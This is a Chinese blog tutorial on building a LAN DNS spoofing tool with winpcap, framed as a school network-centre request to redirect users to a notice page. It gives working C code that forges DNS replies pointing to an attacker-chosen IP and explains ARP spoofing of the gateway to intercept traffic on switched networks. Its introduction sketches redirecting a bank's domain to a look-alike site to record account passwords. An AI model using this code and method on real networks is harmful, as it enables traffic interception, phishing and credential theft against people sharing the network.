用winpcap實現局域網DNS欺騙

出處http://blog.csdn.net/leotangcw/

    歡迎大家和我交流Email:[email protected]

     學校網絡中心的老師叫幫忙做一個DNS欺騙的軟件。主要用於在學校網絡出現問題時把大家的上網請求都轉向到一個通知網頁上。關於DNS欺騙網上已經有很多文章了,不過實例還是比較少的,特別是使用我們經常使用的winpcap開發DNS欺騙軟件。弄了1周,終於成功了,在這裏和大家交流一下,不過這種軟件的危險性相當高(因爲通過這種軟件,局域網的用戶基本上沒有安全性可言了。比如:我先打開欺騙軟件把www.icbc.com.cn的訪問全部轉移到我的一個服務器172.17.123.123上來,在這個服務器上面放有一個看起來和工商銀行界面一摸一樣的網站,這非常容易做到,當您輸入帳號密碼的時候,我就記錄下了您的帳號和密碼,然後......)基於以上原因,我在此聲明:我對我的代碼不承擔任何責任所有代碼只限於學習和正規使用目的。

    首先讓我們來看看什麼是DNS:以下是引用中國協議分析網裏面對DNS的說明

DNS的全稱是Domain Name System當您連上一個網址在URL打上www.hotmail.com的時候可以說就是使用了DNS的服務了。但如果您知道這個www.hotmail.com的IP地址直接輸入209.185.243.135也同樣可以到達這個網址。其實電腦使用的只是 IP地址而已(最終也是0和1啦)這個www.hotmail.com只是讓人們容易記憶而設的。因爲我們人類對一些比較有意義的文字記憶(如 www.hotmail.com)比記憶那些毫無頭緒的號碼(如209.185.243.135)往往容易得多。DNS的作用就是爲我們在文字和IP之間擔當了翻譯而免除了強記號碼的痛苦。

接着是我使用的DNS欺騙原理

我們在設置我們的 網絡時經常要設置DNS地址,比如現在我們學校使用的就是:202.102.154.3和202.102.128.68這兩個IP地址就是DNS解析服務器的地址,當我們輸入一個網址如:www.whhit.com的時候,就有一個DNS請求發到設置的DNS服務器上去,然後DNS服務器告訴你你訪問的的網站對應的IP是202.102.144.56於是你的瀏覽器就會到相應的IP上面去取回網頁。那麼如果我想欺騙你,讓你轉到一個別的地址上去怎麼做呢?我只需要在DNS服務器給你答覆之前給你一個假的回答就可以了,比如我告訴你www.whhit.com對應的IP是172.17.30.52.123這樣你的機器就會自動轉到172.30.52.123上面去。那麼不是DNS服務器也要做回答嗎?呵呵,這個其實你不用擔心,在收到第一個回答以後就瀏覽器就開始轉向了,對於後到的DNS回答會被系統自動丟棄掉。

基於以上原理,我們就可以完成這個工程了。

現在唯一的問題就是如何來僞造一個DNS應答了,由於要用winpcap發包,而winpcap的發包功能是很簡陋的,他不能像libnet等開發包一樣幫助你構造包,所以所有的包結構都要你來構造。請聽下回分解。

現在我們來看看如何構造這個DNS包呢:

      要構造包首先要捕獲包,因爲包中的一些東西我們在構造的時候是需要用到的。那麼如何捕獲呢?這要看你的局域網使用的交換機種類,如果是一個HUB,就像我們現在寢室樓層的一樣,那我們只要把網卡設置成混雜模式就可以捕獲到所有包了,因爲HUB只會做包廣播。關於在這種情況下捕獲,你可以參看我前面的文章一步一步嘗試在MFC下開發基於winpcap的數據包捕獲和分析軟件.(開發總結,建議先看)如果是3層(網絡層)交換機的話就麻煩一些因爲他是通過IP轉發的,數據包只會發送到特定的端口。這樣你就需要做ARP+DNS欺騙。下回再說,這回先只討論前一種情況。

     首先我們來看DNS的包結構,我們知道DNS可以通過TCP也可以通過UDP傳輸,不過實際使用中99%以上使用UDP所以下面只是對DUP的DNS做闡述。DNS包結構是: 以太網頭+IP頭+UDP頭+DNS部分

從以太網頭開始:B代表字節

目的MAC(6B)|源MAC(6B)|0x0800(2B表示上層是IP)

IP頭:

協議版本和IP頭長度(1B)|服務(1B)|IP包長度(2B,去以太網頭的長度)|ID號(2B)|標識(1B)|偏移(1B)|TTL(1B)|0x11(上層協議UDP)|IP校驗和(2B)|源IP(4B)|目的IP(4B)

UDP頭:

源端口(2B)|目的端口(2B)|UDP包長度(2B,去以太網頭和IP頭)|UDP校驗和(2B)

DNS部分:

ID號(2B很重要)|標識(2B)|問題數目(2B)|回答數目(2B)|權威回答數目(2B)|附加數目(2B)|問題字段(長度不定)|回答字段(長度不定)|權威字段(長度不定)|附加字段(長度不定)

問題和回答,權威,附加都是RR記錄格式,格式如下:

名字(2B)|類型(2B)|類(2B)|存活時間(4B)|數據長度(2B)|IP地址(4B)

我們本着越簡單越好的做法,構造儘量短的回覆,所以回答個數爲1,權威和附加都爲0

如果是請求包,到問題字段就完了,如果是回答,還有構造回答字段。

下面開始構造僞造包:

    以太網部分:交換源和目的的MAC地址

  IP部分:計算修改包長度爲你構造的假包IP部分長度,標識改爲0x04(不分段),校驗和改爲你計算的IP首部校驗和,交換源和目的IP

UDP部分:交換源和目的端口號,包長度改爲你構造的假包UDP部分長度。校驗和可以添0x0000或者自己算(是可選字段,不推薦自己算,首先計算費時間,影響發包速度,其次容易算錯,我算了3天,老是錯,原來要加一個UDP僞頭,參考《TCP/IP祥解》)

DNS部分:問題數0x0001,回答數0x0001,權威0x0000,附加0x0000,問題字段直接拷貝,回答字段如下:名字0xc00c,類和類型都是0x0001,時間添長點,長0x0004,IP:你想轉向的IP地址

到這裏假的應答就僞造好了。

先簡要說說代碼,這裏只有構造DNS迴應部分的代碼,我還做了網址匹配,也就是說只有別人輸入相應的網址纔給轉向不過出於一些原因就不放上來了。這裏的代碼只是對所有DNS都轉向的代碼,你可以自己加完整別的代碼。

     隨便轉載,轉載請註明出處http://blog.csdn.net/leotangcw/

    歡迎大家和我交流Email:[email protected]

抓包和分析都要在子線程中進行,這樣程序的效率才比較好。

僞造的包的DNS  ID一定要和請求的包的ID一樣纔可以工作。

........抓包

int packetlen=exprotocol_header->len+16;//從抓到包的長度得到要僞造包的長度
               int questlen=exprotocol_header->len-54;  //問題長度
                     u_int8_t* packet_content;                //要發的包
                        packet_content=(u_int8_t*)malloc((packetlen)*sizeof(u_int8_t));
                        unsigned short IP_len=ntohs(packetlen-14);    //
               unsigned short UDP_len=ntohs(packetlen-34);
                        memcpy(packet_content,expkt_data,exprotocol_header->len);   //拷貝抓的包到發的包裏面因爲有很多不需要改的地方,其中包括最重要的DNS  ID號
               memcpy(packet_content,expkt_data+6,6);                      //交換MAC地址
               memcpy(packet_content+6,expkt_data,6);
               memcpy(packet_content+16,&IP_len,2);                      //計算的IP數據包長度
               packet_content[18]=0x12;//IP的ID號 隨便添
               packet_content[19]=0x34;//IP的ID號 隨便添
                        packet_content[20]=0x40;  //不分段
                        packet_content[21]=0x00;   //偏移
                        packet_content[22]=0xf4;   //TTl=244
               packet_content[24]=0x00;//IP效驗和先置0以後再算
                        packet_content[25]=0x00;//IIP效驗和先置0以後再算
               memcpy(packet_content+26,expkt_data+30,4);//交換IP
               memcpy(packet_content+30,expkt_data+26,4);//交換IP
                        memcpy(packet_content+34,expkt_data+36,2);//交換端口
               memcpy(packet_content+36,expkt_data+34,2);//交換端口
               memcpy(packet_content+38,&UDP_len,2);    //填入計算的UDP數據包長度
                        packet_content[40]=0x00;//UDP效驗和添0
                        packet_content[41]=0x00;//UDP效驗和添0
                        packet_content[44]=0x81; //無錯誤標準回覆
               packet_content[45]=0x80;  //無錯誤標準回覆
                        packet_content[48]=0x00;  //回答數目1
               packet_content[49]=0x01;  //回答數目1
               packet_content[exprotocol_header->len]=0xc0;   //回答名字
               packet_content[exprotocol_header->len+1]=0x0c;  //回答名字
               packet_content[exprotocol_header->len+2]=0x00;  //類型 A
               packet_content[exprotocol_header->len+3]=0x01;  //類型 A
               packet_content[exprotocol_header->len+4]=0x00;  //類1
               packet_content[exprotocol_header->len+5]=0x01;  //類1
               packet_content[exprotocol_header->len+6]=0x00;  //你想讓其在被欺騙主機上的DNS信息存活時間
               packet_content[exprotocol_header->len+7]=0x00;  //你想讓其在被欺騙主機上的DNS信息存活時間
               packet_content[exprotocol_header->len+8]=0x0c;  //你想讓其在被欺騙主機上的DNS信息存活時間
               packet_content[exprotocol_header->len+9]=0xe8;  //你想讓其在被欺騙主機上的DNS信息存活時間
               packet_content[exprotocol_header->len+10]=0x00;  //數據長度
               packet_content[exprotocol_header->len+11]=0x04;  //數據長度
               m_exdwAddress1=ntohl(m_exdwAddress);              //對輸入的轉向IP做網絡字節轉換
               memcpy(packet_content+exprotocol_header->len+12,&m_exdwAddress1,4); //轉向的IP
               USHORT m_ipcheck;
                        u_int16_t* checkbufer;
               checkbufer=(u_int16_t*)malloc(20);
               memcpy(checkbufer,packet_content+14,20);    //把IP頭拷入一個區域做計算

               m_ipcheck=checksum(checkbufer,20);              //計算IP校驗和
               memcpy(packet_content+24,&m_ipcheck,2);        //添入IP校驗和
               pcap_sendpacket(expcap_handle,packet_content,exprotocol_header->len+16);//發包

接下來是深入的討論如果是在3層交換機上如何做DNS欺騙

三層交換機上只有廣播包會發到所有端口,其他包都只會在對應端口之間傳送。要讓他的DNS查詢發到你的機器上來就需要僞裝成網關,因爲我們是通過網關上網,所以所有外發的包都要過網關。

在這裏我們要感謝ARP協議,這是一個數據鏈路層上的協議,主要作用是用來查詢你的局域網上的其他主機的MAC地址,比如我們在ping 的時候就會發出一個ARP查詢,比如:我是172.30.52.170,我現在ping 172.30.52.174 -t就會發出一個ARP查詢向全網段廣播問誰是172.30.52.174啊,請告訴我你的MAC地址,然後我就會得到一個172.30.52.174的回覆說xx:xx:xx:xx:xx:xx的MAC對應的是172.30.52.174於是我就可以通過這個MAC和他進行傳輸了。同時我會把他的MAC和IP的對應關係寫入我的機器的緩存(會存在一定時間),ARP請求也會更新緩存,比如上面我ping172.30.52.174他的緩存中也會留下我的IP和MAC對應關係。

而且ARP是後更新的,他和DNS相反,DNS對先到的回答做相應,ARP對後到的消息做緩存更新,於是我們就想出了一個好辦法,比如我的MAC是01:02:03:04:05:06首先,我告訴我想欺騙的主機,我是網關,比如我給172.30.52.174的主機發一個ARP查詢或應答包說172.30.52.1(網關)對應的MAC是01:02:03:04:05:06,同時告訴網關172.30.52.174的IP對應的MAC是01:02:03:04:05:06於是172.30.52.174把發給網關的包都給了我,同時網關也把給172.30.52.174的包都給了我,我在他們之間做一個包轉發,就行了,這樣所有的包都通過我了,後面的DNS欺騙就和前面一樣了。

由於ARP包構造太簡單了,就不詳細寫了,好了,先寫到這裏吧,寫了一天累了。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章